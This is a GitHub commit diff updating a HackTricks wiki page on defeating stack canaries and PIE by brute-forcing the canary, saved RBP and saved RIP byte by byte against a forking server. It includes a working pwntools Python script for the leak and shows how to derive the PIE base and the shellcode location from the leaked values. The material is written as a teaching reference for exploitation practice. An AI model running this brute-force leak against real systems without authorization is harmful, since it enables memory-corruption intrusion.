Skip to content

Commit c437e28

Browse files
authored
Merge pull request #2156 from HackTricks-wiki/research_update_src_binary-exploitation_common-binary-protections-and-bypasses_pie_bypassing-canary-and-pie_20260422_032134
Research Update Enhanced src/binary-exploitation/common-bina...
2 parents 3a853ed + 3c6db8d commit c437e28

1 file changed

Lines changed: 68 additions & 49 deletions

File tree

src/binary-exploitation/common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md

Lines changed: 68 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -18,56 +18,61 @@ For example, if a binary is protected using both a **canary** and **PIE**, you c
1818
> [!TIP]
1919
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
2020
21-
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
21+
This technique is specially useful when **each failed probe only kills the current worker but does not rerandomize the parent state** (for example, a `fork()`-per-connection server or a service that respawns workers without `execve()`). If you first need to brute-force the canary in that scenario, check [BF Forked & Threaded Stack Canaries](../stack-canaries/bf-forked-stack-canaries.md).
22+
23+
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program outputs something or it just doesn't crash. The **same primitive** used to brute-force the canary can be reused to leak the saved `RBP` and the saved `RIP`:
24+
25+
<details>
26+
<summary>Python3 helper to brute-force the canary, saved RBP and saved RIP</summary>
2227

2328
```python
2429
from pwn import *
2530

31+
HOST, PORT = "localhost", 8788
32+
33+
2634
def connect():
27-
r = remote("localhost", 8788)
28-
29-
def get_bf(base):
30-
canary = ""
31-
guess = 0x0
32-
base += canary
33-
34-
while len(canary) < 8:
35-
while guess != 0xff:
36-
r = connect()
37-
38-
r.recvuntil("Username: ")
39-
r.send(base + chr(guess))
40-
41-
if "SOME OUTPUT" in r.clean():
42-
print "Guessed correct byte:", format(guess, '02x')
43-
canary += chr(guess)
44-
base += chr(guess)
45-
guess = 0x0
46-
r.close()
35+
return remote(HOST, PORT)
36+
37+
38+
def brute_qword(prefix, prompt=b"Username: ", success=b"SOME OUTPUT"):
39+
leaked = b""
40+
41+
while len(leaked) < 8:
42+
for guess in range(0x100):
43+
io = connect()
44+
io.recvuntil(prompt)
45+
io.send(prefix + leaked + bytes([guess]))
46+
out = io.clean(timeout=0.2)
47+
io.close()
48+
49+
if success in out:
50+
leaked += bytes([guess])
51+
log.info("byte %d = %#x", len(leaked), guess)
4752
break
48-
else:
49-
guess += 1
50-
r.close()
51-
52-
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
53-
return base
54-
55-
# CANARY BF HERE
56-
canary_offset = 1176
57-
base = "A" * canary_offset
58-
print("Brute-Forcing canary")
59-
base_canary = get_bf(base) #Get yunk data + canary
60-
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
61-
62-
# PIE BF FROM HERE
63-
print("Brute-Forcing RBP")
64-
base_canary_rbp = get_bf(base_canary)
65-
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
66-
print("Brute-Forcing RIP")
67-
base_canary_rbp_rip = get_bf(base_canary_rbp)
68-
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
53+
else:
54+
raise RuntimeError("No valid byte found")
55+
56+
return prefix + leaked
57+
58+
59+
offset = 1176
60+
payload = b"A" * offset
61+
62+
payload = brute_qword(payload) # canary
63+
CANARY = u64(payload[-8:])
64+
65+
payload = brute_qword(payload) # saved RBP
66+
RBP = u64(payload[-8:])
67+
68+
payload = brute_qword(payload) # saved RIP
69+
RIP = u64(payload[-8:])
6970
```
7071

72+
</details>
73+
74+
If the target reads with `gets`/`fgets`-style functions, remember to remove terminators such as `\n` from the candidate alphabet. With `read`/`recv`, brute-forcing all byte values is usually fine.
75+
7176
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
7277

7378
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
@@ -77,23 +82,37 @@ INI_SHELLCODE = RBP - 1152
7782
```
7883

7984
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
80-
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
85+
To calculate the base address, disassemble the binary and identify the **exact static offset of the return site** pointed to by the saved `RIP` (`objdump -d`, `r2 -A`, `gef`, `pwndbg`, etc.):
8186

8287
![](<../../../images/image (479).png>)
8388

84-
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
89+
The **reliable** calculation is to subtract that static offset from the leaked runtime address:
8590

8691
```python
87-
elf.address = RIP - (RIP & 0xfff)
92+
RET_OFFSET = 0x13cf # example: instruction after the call to the vulnerable function
93+
elf.address = RIP - RET_OFFSET
94+
assert elf.address & 0xfff == 0
8895
```
8996

90-
## Improvements
97+
If the leaked `RIP` is known to belong to the **first executable page** of a small binary, page-aligning it can still be enough as a quick shortcut or sanity check. For example, if you leak `0x562002970ecf`, then the page containing that instruction starts at `0x562002970000`:
9198

92-
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
99+
```python
100+
page_base = RIP - (RIP & 0xfff)
101+
```
93102

94-
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
103+
## Improvements
95104

96-
{{#include ../../../banners/hacktricks-training.md}}
105+
Blindly treating **"no crash"** as **"correct byte"** is fragile for saved `RBP` and saved `RIP` values. In practice, the following tweaks make this attack much more reliable:
97106

107+
- **Use timeouts for saved `RBP` guesses**: a wrong value used by `leave; ret` may survive longer than a bad canary or a bad return address, so remote targets usually need a larger timeout than local tests.
108+
- **Introduce a short delay between probes**: sending requests too quickly can leave many workers/processes around, fill memory, or accumulate `TIME_WAIT` sockets, creating false positives unrelated to the guessed byte.
109+
- **Do not brute-force bytes you already know**: if disassembly shows that the target return site must end in a fixed tail such as `...e06`, brute-force only the randomized byte or nibble(s). On amd64, the low 12 bits inside the page are constant for a given return site.
110+
- **Validate candidates more than once**: a wrong `RIP` can still return into valid code and print output. Requiring the same candidate to succeed several times, or validating it with a known stop gadget as in [BROP](../../rop-return-oriented-programing/brop-blind-return-oriented-programming.md), reduces false positives.
111+
- **Re-check the stack delta after leaking `RBP`**: the distance from the leaked frame pointer to your controlled buffer can change with stack alignment, so measure that delta for the leaked frame layout instead of assuming a single constant.
98112

113+
## References
99114

115+
- [https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md](https://github.com/datajerk/ctf-write-ups/blob/master/nahamconctf2020/ripe_reader/README.md)
116+
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)
117+
118+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)